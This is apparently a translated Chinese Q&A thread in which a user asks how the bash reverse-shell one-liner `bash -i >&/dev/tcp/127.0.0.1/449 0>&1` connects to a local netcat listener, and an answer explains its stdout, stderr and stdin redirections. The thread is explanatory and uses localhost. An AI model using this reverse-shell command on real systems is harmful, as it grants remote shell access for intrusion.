0

我有一个使用 netcat 在 localhost 上为端口 449 运行的侦听器。

在同样在 localhost 上运行的单独终端中,我可以运行以下命令:

bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"

然后我可以通过 netcat 连接输入命令并且它们成功执行。我可以分解上面的命令,我可以看到上面的 bash shell 将其 stderr 和 stdout 写入套接字文件描述符,该描述符被发送到我的机器并最终被 netcat 监听。此外,我可以看到标准输入被发送到标准输出,然后由外部 bash 命令执行。

关于这个的几个问题:

  1. 设置 bash 终端以接受来自 netcat 的标准输入的机制是什么?标准输入不会在命令中的任何地方重定向。
  2. 外部 bash shell 如何执行多个来自内部 bash shell 的命令输出?我最初的想法是它只能执行一个命令。
4

1 回答 1

2

外部 bash 只启动内部 bash,之后无法执行命令。所以你可以直接运行内部 bash :

bash -i >&/dev/tcp/127.0.0.1/449 0>&1

>&/dev/tcp/127.0.0.1/449将 stdout 和 stderr 重定向到 TCP 连接。

0>&1将标准输入重定向到同一个连接。

于 2020-06-27T22:06:52.467 回答